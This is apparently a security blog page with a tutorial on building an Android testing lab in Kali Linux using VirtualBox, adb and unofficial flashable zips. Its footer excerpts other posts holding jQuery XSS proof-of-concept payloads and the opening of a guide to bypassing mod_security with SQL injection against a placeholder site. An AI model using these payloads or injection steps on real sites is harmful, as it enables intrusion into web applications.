How to setup Android Testing Lab in Kali Linux (32-bit)

This tutorial is divided in two parts:
  1. Android device creation.
  2. Integrate ADB with android device.
For setup android testing lab on kali linux (32-bit), we need to install virtualbox on kali linux. If you don’t have virtualbox on your kali machine, you can download debian pacakage form here:
Or you can simply type this command on kali terminal:

                                                       apt-get install virtualbox

Now we have installed virualbox on kali machine. At this moment, we need virtualbox images of Android API below:
  1. android_data_disk.vmdk (IDE Primary Slave)
  2. android_system_diskvmdk (IDE Primary Master)
  3. sdcard.vdi (IDE Secondary Master)
You can download these files from here only.
  1. Android device creation
  • Now place these three files in Sony Xperia Z – 4.2.2 – API 17 – 1080×1920 folder under VirtualBox VM folder .
1
  • Now open virtualbox application in kali and create new device as shown below:
2
3
  • Now use an existing hard drive file and select android_system_disk.vmdk
4
5
  • Now right click on Android device and go to the settings->storage
6
  • Now Click on Add Hard Disk and select android_data_disk.vmdk
7
  • Now Click on Add Hard Disk and select sdcard.vdi
8
  • Now click open and then Ok. Android device settings should be like this as shown below:
9
  • Now right click on Android device and go to the settings->Network (for network settings). It is required for device to get IP from host machine.
10
  • Now start the device as shown below:
11
  1. Integrate ADB with android device
  • At this moment, we have created a android device in our virualbox. For integrating adb with android device, we need sdk bundle which you can download it from here:
https://dl.google.com/android/android-sdk_r24.2-linux.tgz
  • After downloading, extract this and run android.sh file in tool folder:
12
  • Install Android SDK Platform-tools and Android SDK Tool Once you installed these packages, new folders will create in android-sdk-linux folder.
13
  • Now we have to set environmental variable like path of adb in .bashrc file in Home directory. Add these lines in .bashrc file as shown below:
14 
Note: Add full path of adb where it is located on your machine.
  • Now we can access adb from terminal as shown below:
15
  • For integrating adb with andoid device, find the IP address of android device. Go to settings->About phone->Status->IP address
16                                             Here IP address is 192.168.56.101

  • Now we know IP address of Android device and we have configured adb also.
So just open terminal and start Testing like!!!

Start android device and use these commands:

  root@kali:~# adb connect 192.168.56.101
17                      

root@kali:~# adb shell


root@android:/ # ls
18

•    Now we have setup android lab in kali machine. For unlock bootloader of device, we have to flash the device. You can download file for flashing the device from here only:

https://www.dropbox.com/s/7yaycz2py6m602f/Genymotion-ARM-Translation_v1.1.zip?dl=0

•    Now open terminal and connect your adb with device and copy the downloaded file on android device as shown:

root@kali:~# adb push Genymotion-ARM-Translation_v1.1.zip /sdcard/Download


22 

•    Now try to unlock the bootloader or get X86 support for device, for this you have to execute the downloaded zip on device as shown:

root@kali:~# adb shell /system/bin/flash-archive.sh /sdcard/Download/Genymotion-ARM-Translation_v1.1.zip
23
•    For installing google apps into the device, we have to download file and execute the same as earlier. You can download file from here only:

https://www.dropbox.com/s/uuae2yihm2fzhhg/gapps-jb-20130812-signed.zip?dl=0

•    Copy the downloaded file on android device as shown:

root@kali:~# adb push gapps-jb-20130812-signed.zip /sdcard/Download

19

•    Now try to install the google apps for device, for this you have to execute the downloaded zip on android device as shown:

root@kali:~# adb shell /system/bin/flash-archive.sh /sdcard/Download/gapps-jb-20130812-signed.zip


20

•    After doing all this, android device will restart and google apps are also installed.

21 

Cheers!!

For more updates, you can join us on https://incognitoguyz.wordpress.com

Comments

Post a Comment

Popular posts from this blog

Location.Hash exploit || JQuery 1.11.3/1.7.2/1.6.1 Cross Site Scripting

Image
This is the code for exploiting (location.hash) JQuery for Cross Site Scripting: <html>     <head>          <title>Jquery XSS Test 1</title>                 <script type="text/javascript"                                             src=" https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js ">                 </script>                 <script>                     $(location.hash.split('#')[1]);                 </script>    </head>      <body>         Jquery DOM XSS     </body> </html> OR, <html>     <head>          <title>Jquery XSS Test 2</title>                 <script type="text/javascript"                                             src=" https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js ">                 </script>                 <
Read more

JQuery UI 1.11.4 Cross Site Scripting

Vulnerability name: XSS Reflected JQuery UI 1.11.4  I think nearly everyone gets shocked, when your Acunetix shows Cross Site Scripting in Jquery UI. But, may be many of you don’t know how to exploit it. So, here is a Code which will explain how to exploit vulnerabilities like these. Place the script on dialog function as shown in the Code below. <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head>     <title>XSS in closeText option of component ui dialog</title>     <script src="https://code.jquery.com/jquery-2.1.4.js"></script>     <script src="https://code.jquery.com/ui/1.11.4/jquery-ui.js"></script>       <script>         $(document).ready(function () {             $('#dialog').dialog({ closeText: ' <script>alert("XSS")<\/script> ' });         });     </script> </head> <body>   
Read more

Bypass Mod_Security

Image
This topic is similar as Manual Sql Injection. But mod_security are protect to hack website. You can see in this screenshot. Now In this tutorial we can learn how to bypass mod_security First we need one Target Website In My case I am using this website: http://www.target.com.pk Finding The Amount Of Columns Now that you found a vulnerable site, you need to find the amount of columns. You can do this by using the "Order By" function. Your link should now look like this: Code: http://www.target.com.pk/pages.php?ID=18 order by 1--+ (no error) http://www.target.com.pk/pages.php?ID=18 order by 2--+ (no error) http://www.target.com.pk/pages.php?ID=18 order by 3--+ (no error) http://www.target.com.pk/pages.php?ID=18 order by 4--+ (no error) http://www.target.com.pk/pages.php?ID=18 order by 5--+ (no error) http://www.target.com.pk/pages.php?ID=18 order by 6--+ (error) Finding Vulnerable Columns So now that you got the amount of columns, you're going to want to see
Read more